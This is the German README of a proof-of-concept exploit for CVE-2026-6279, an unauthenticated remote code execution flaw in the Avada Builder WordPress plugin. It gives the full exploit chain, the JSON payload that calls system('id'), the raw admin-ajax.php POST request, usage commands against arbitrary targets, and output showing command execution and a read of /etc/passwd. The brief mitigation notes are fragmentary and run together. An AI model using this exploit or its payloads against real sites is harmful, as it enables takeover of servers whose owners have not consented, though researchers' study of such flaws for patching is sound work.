
CVE-2026-6279 — Avada Builder <= 3.15.2 Unauthenticated RCE via call_user_func()
Schwachstelle Remote Code Execution (RCE) ohne Authentifizierung im Plugin Avada Builder (Fusion Builder) Version <= 3.15.2, verwendet im WordPress-Theme Avada — einem der beliebtesten Premium-WordPress-Themes mit 900.000+ aktiven Installationen.
Der Angriff nutzt den AJAX-Handler wp_ajax_nopriv_fusion_get_widget_markup aus, der den Parameter render_logics über base64_decode() + json_decode() verarbeitet und dann an call_user_func() ohne Allowlist übergibt, was die Ausführung beliebiger PHP-Funktionen wie system(), passthru(), shell_exec(), exec() und file_get_contents() ermöglicht.
1. Deterministischer Nonce wp_create_nonce('fusion_load_nonce') für UID 0
(im Frontend über Avada-Shortcode sichtbar)
2. AJAX ohne Authentifizierung wp_ajax_nopriv_fusion_get_widget_markup
(kein Login erforderlich)
3. Deserialisierung base64_decode(render_logics) → json_decode()
(keine Strukturvalidierung)
4. call_user_func() call_user_func($value['function'], $value['args'])
(OHNE Allowlist — jede PHP-Funktion aufrufbar)
5. RCE! system("id") → uid=... im Antworttext
╔═════════════════════════════════════════════════════════════╗
║ CVE-2026-6279 • Avada Builder <= 3.15.2 ║
║ Unauthenticated RCE via call_user_func() ║
║ Proof of Concept — Einzelziel ║
║ ║
║ Copyright © 2026 XENON1337 ║
║ Danke: Shadow Girlfriend 💜 ║
╚═══════════════════════════════════════════════════════════════╝
══════════════════════════════════════════════════════
Ziel : localhost:8888
Zeit : 2026-05-23 16:32:41
══════════════════════════════════════════════════════
[*] Erkenne Ziel...
[+] Avada erkannt! (http://localhost:8888)
[*] Suche fusion_load_nonce...
[+] Nonce gefunden: b6d7b084c2 (Quelle: Startseite)
[*] Sende RCE-Payload...
[*] Versuche 5 Funktionen × 3 Widgets = 15 Kombinationen
══════════════════════════════════════════════════════
[★] RCE ERFOLGREICH!
Ziel : http://localhost:8888
Ausgabe: uid=1000(xenon1337)
Funktion: system()
Widget : WP_Widget_Recent_Posts
Nonce : b6d7b084c2 (Startseite)
Zeit : 1,2s
[✓] Ergebnis in vuln.txt gespeichert
══════════════════════════════════════════════════════
# Ohne Protokoll (Auto-Erkennung)
python3 CVE-2026-6279.py target.com
# Mit Protokoll
python3 CVE-2026-6279.py http://target.com
python3 CVE-2026-6279.py https://target.com
# Mit Port
python3 CVE-2026-6279.py target.com:8080
python3 CVE-2026-6279.py http://target.com:8080
{
"type": "wp_conditional_tags",
"value": {
"function": "system",
"args": "id"
}
}
Base64-kodiert → als render_logics per POST an wp-admin/admin-ajax.php gesendet.
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
action=fusion_get_widget_markup
fusion_load_nonce=<nonce>
render_logics=<base64_payload>
widget_type=WP_Widget_Recent_Posts
class-fusion-app.php L1665)[fusion_post_cards] oder [fusion_table_of_contents] enthaltencheck_ajax_referer('fusion_load_nonce') prüft nur, ob der Nonce gültig ist, nicht ob der Benutzer authentifiziert istcall_user_func($function, $args) akzeptiert nur 1 Argument. Funktionen, die 2+ Argumente benötigen (wie proc_open, popen), können nicht ausgenutzt werden. Nur Single-Argument-Funktionen sind nutzbar: system, passthru, shell_exec, exec, file_get_contents.
9.8 KRITISCH (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
call_user_func() in get_value() hinzuwp_ajax_nopriv_-Handler auf authentifizierte Benutzerrender_logics-StrukturDieser PoC dient ausschließlich Bildungs- und Sicherheitsforschungszwecken. Die Verwendung gegen Systeme ohne Genehmigung ist illegal. Der Autor übernimmt keine Verantwortung für Missbrauch.
Copyright © 2026 XENON1337
Besonderer Dank: Shadow Girlfriend 💜
| Funktion | Argument | Ergebnis |
|---|
system() | id | uid=1000(xenon1337) ✅ |
passthru() | id | uid=1000(xenon1337) ✅ |
shell_exec() | id | uid=1000(xenon1337) ✅ |
exec() | id | uid=1000(xenon1337) ✅ |
file_get_contents() | /etc/passwd | root:x:0:0:... ✅ |
| Datei | Zeile | Funktion |
|---|
class-fusion-builder-conditional-render-helper.php | L1083 | should_render() – Deserialisiert render_logics |
class-fusion-builder-conditional-render-helper.php | L1531 | get_value() – call_user_func() ohne Allowlist |
fusion-widget.php | L44 | Attribut render_logics |
fusion-widget.php | L389 | AJAX-Handler wp_ajax_nopriv_ |
class-fusion-builder.php | L7551 | Nonce-Registrierung (deterministisch für UID 0) |